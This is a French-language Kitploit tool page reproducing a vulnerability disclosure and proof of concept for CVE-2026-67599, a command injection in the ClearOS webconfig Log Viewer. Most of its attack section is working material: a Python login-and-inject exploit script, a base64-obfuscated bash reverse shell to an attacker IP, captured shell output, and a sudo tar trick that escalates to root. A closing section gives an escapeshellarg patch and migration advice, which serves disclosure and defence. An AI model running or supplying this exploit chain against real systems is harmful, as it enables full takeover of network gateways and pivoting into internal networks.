Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-67599_ClearOS_RCE — Authenticated Blind OS Command Injection in ClearOS | Kitploit
Outils/GitHubGitHub/lazytitan33/cve-2026-67599_clearos_rce
Privilege EscalationExploitationWeb Application ExploitationPost-ExploitationPenetration TestingRed Teaming
GitHublazytitan33/cve-2026-67599_clearos_rce

CVE-2026-67599_ClearOS_RCE

Authenticated Blind OS Command Injection in ClearOS

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
il y a 20 joursPas encore vérifié

Injection de commandes OS dans le paramètre de filtre du Log Viewer

Paquet : ClearFoundation Versions testées : ClearOS 7.9.1.342252
Type de vulnérabilité : Injection de commandes OS (CWE-78)
Sévérité : Élevée
CVE : CVE-2026-67599
Vecteur CVSS v3.1 : CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H (Score : 7.2)

Merci à VulnCheck pour l'aide apportée à l'attribution et au suivi de ce CVE-2026-67599 en mon nom.

Description du produit


ClearOS est un système d'exploitation basé sur CentOS/RHEL conçu pour servir de passerelle réseau, de plateforme de gestion unifiée des menaces (UTM) et de serveur périphérique pour les petites et moyennes organisations. Fonctionnant principalement comme un équipement de périmètre réseau, il gère les règles de pare-feu, les connexions VPN, le routage et l'infrastructure réseau de base.

Étant donné que ClearOS est déployé en périphérie du réseau, les interfaces d'administration comme Webconfig (port 81) sont fréquemment exposées aux segments de gestion ou directement aux réseaux externes. Une vulnérabilité d'exécution de commandes dans cette interface permet à un attaquant de compromettre la passerelle, d'établir un point d'ancrage persistant sur la périphérie et de pivoter directement vers les segments du réseau interne.


Fichiers concernés

/usr/clearos/apps/base/libraries/File.php — lignes 297, 314


Cause racine

Le paramètre filter soumis au point de terminaison Log Viewer est transmis sans assainissement dans une commande shell construite dans File.php. La valeur $regex est interpolée directement dans la chaîne de commande au lieu d'être transmise comme argument correctement échappé, ce qui permet à des charges utiles de substitution de commande telles que $(...) ou des expressions entre accents graves de s'exécuter en tant qu'utilisateur webconfig.


PoC

Je suis tombé sur ce problème lors d'une mission active. Voici un simple générateur d'artefact.

root@kitploit:~
#!/usr/bin/python3

import requests
import sys
import warnings
warnings.filterwarnings("ignore")
import argparse
import urllib.parse

parser = argparse.ArgumentParser()
parser.add_argument("-u", "--username", required=True, help="username")
parser.add_argument("-p", "--password", required=True, help="password")
parser.add_argument("-t", "--target", required=True, help="target")
parser.add_argument("-c", "--command", default="id>/tmp/lazytitanwazhere", help="command to execute (default: id>/tmp/lazytitanwazhere)")

args = parser.parse_args()
s = requests.Session()
s.headers.update({"Content-Type": "application/x-www-form-urlencoded"})
s.verify = False
login_data = f"ci_csrf_token=random&os_username={args.username}&os_password={args.password}&code=en_US&submit=Login"
s.post(f"https://{args.target}:81/app/base/session/login/", data=login_data, cookies={"ci_csrf_token":"random"})
token = s.cookies.get("ci_csrf_token")
command_to_execute = urllib.parse.quote_plus(args.command)
command_data = f"ci_csrf_token={token}&file=system&filter=$({command_to_execute})&display=Display"
s.post(f"https://{args.target}:81/app/log_viewer/index", data=command_data)

Exemple de shell inversé (attaquant sur .1, cible sur .129) :

root@kitploit:~
python .\testing.py -u root -p password -t 192.168.137.129 -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xLzEzMzcgMD4mMQ==|base64 -d|bash"

Sortie confirmée :

root@kitploit:~
Ncat: Connection from 192.168.137.129:52984.
bash: no job control in this shell
bash-4.2$ id
uid=995(webconfig) gid=994(webconfig) groups=994(webconfig)

L'élévation de privilèges vers root s'effectue facilement grâce aux règles sudoers par défaut, très permissives :

root@kitploit:~
bash-4.2$ id
uid=995(webconfig) gid=994(webconfig) groups=994(webconfig)
bash-4.2$ sudo -l
Matching Defaults entries for webconfig on server:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY
    HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC
    LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin, !syslog, env_keep+=http_proxy, env_keep+=https_proxy

User webconfig may run the following commands on server:
    (root) NOPASSWD: /usr/bin/killall, /usr/sbin/postmap, /usr/sbin/postconf, /usr/sbin/run-app-upgrades,
        /usr/sbin/configuration-restore, /bin/tar, /usr/sbin/mkdosfs, /usr/bin/cat, /usr/sbin/mkfs.vfat,
        /usr/sbin/mkfs.xfs, /usr/bin/mount, /usr/sbin/pvs, /usr/sbin/vgdisplay, /usr/sbin/lvdisplay, /usr/sbin/pvremove,
        /usr/sbin/vgremove, /usr/sbin/lvremove, /usr/bin/umount, /usr/bin/df, /usr/sbin/lvextend, /usr/sbin/lvreduce,
        /usr/sbin/blkid, /usr/bin/mkdir, /usr/sbin/mkfs.ext3, /usr/sbin/mkfs.ext4, /usr/sbin/lvcreate,
        /usr/sbin/vgcreate, /usr/sbin/pvcreate, /usr/sbin/storagize-mappings, /usr/sbin/app-storage-create,
        /bin/findmnt, /sbin/sfdisk, /sbin/parted, /sbin/mkfs.ext3, /sbin/mkfs.ext4, /usr/sbin/ntpdate, /sbin/hwclock,
        /usr/bin/openssl, /usr/sbin/dmidecode, /usr/sbin/initialize-accounts, /usr/sbin/nscd,
        /usr/clearos/sandbox/usr/sbin/httpd, /usr/sbin/yum-install, /usr/bin/yum-config-manager, /usr/bin/yum,
        /usr/sbin/userdel, /usr/sbin/app-manager, /usr/sbin/app-rename, /usr/sbin/app-realpath, /usr/sbin/app-passwd,
        /usr/bin/systemctl, /usr/bin/passwd, /usr/bin/du, /usr/bin/chfn, /usr/bin/tail, /usr/bin/find, /usr/bin/file,
        /usr/bin/api, /sbin/service, /sbin/shutdown, /bin/touch, /bin/rmdir, /bin/rm, /bin/rpm, /bin/mv, /bin/mkdir,
        /bin/ls, /bin/kill, /bin/grep, /bin/df, /bin/cp, /bin/chown, /bin/chmod, /bin/cat, /usr/sbin/wc-yum,
        /usr/bin/eventsctl, /usr/bin/mkhost.sh, /usr/sbin/brctl, /sbin/arping, /sbin/iwconfig, /sbin/ip, /sbin/ifup,
        /sbin/ifdown, /sbin/ifconfig, /sbin/ethtool, /bin/hostname

Dans l'exemple ci-dessous, utilisation du binaire tar pour élever les privilèges vers root :

root@kitploit:~
bash-4.2$ sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
tar: Removing leading `/' from member names
[root@localhost ~]# id
uid=0(root) gid=0(root) groups=0(root)

Impact

Un utilisateur authentifié de l'interface web ayant accès aux Rapports obtient une exécution complète de commandes au niveau du système d'exploitation en tant qu'utilisateur webconfig. Dans une installation ClearOS 7.9 par défaut, webconfig dispose de privilèges sudo NOPASSWD étendus, permettant une élévation immédiate vers root sans informations d'identification supplémentaires. Un attaquant peut obtenir un accès root persistant à l'hôte sous-jacent, y compris toutes les données, les services et les configurations réseau gérés par le système.


Remédiation suggérée

ClearOS est en fin de vie. La dernière distribution encore téléchargeable sur clearos.com (version ClearOS-7.9.1.342252) date du 13 octobre 2021 et ne reçoit aucune maintenance ni mise à jour de sécurité en amont.

Pour cette raison, le correctif ci-dessous n'est qu'un pansement temporaire. Exécuter un système d'exploitation non maintenu en périphérie de votre réseau, c'est jouer avec le feu. La voie fortement recommandée est de migrer entièrement hors de ClearOS vers un équipement périphérique ou une plateforme UTM pris en charge.

Contournement temporaire (correctif PHP)

Si vous devez maintenir cet hôte en vie pendant la planification d'une migration, enveloppez $regex dans escapeshellarg() aux lignes 297 et 314 de /usr/clearos/apps/base/libraries/File.php pour passer de :

root@kitploit:~
'"' . $regex . '" ' . escapeshellarg($this->filename) . " > " . $tempfile,

À :

root@kitploit:~
'-e ' . escapeshellarg($regex) . ' ' . escapeshellarg($this->filename) . " >" . $tempfile,

Redémarrez ensuite le service webconfig :

root@kitploit:~
sudo systemctl restart webconfig
Télécharger l’outil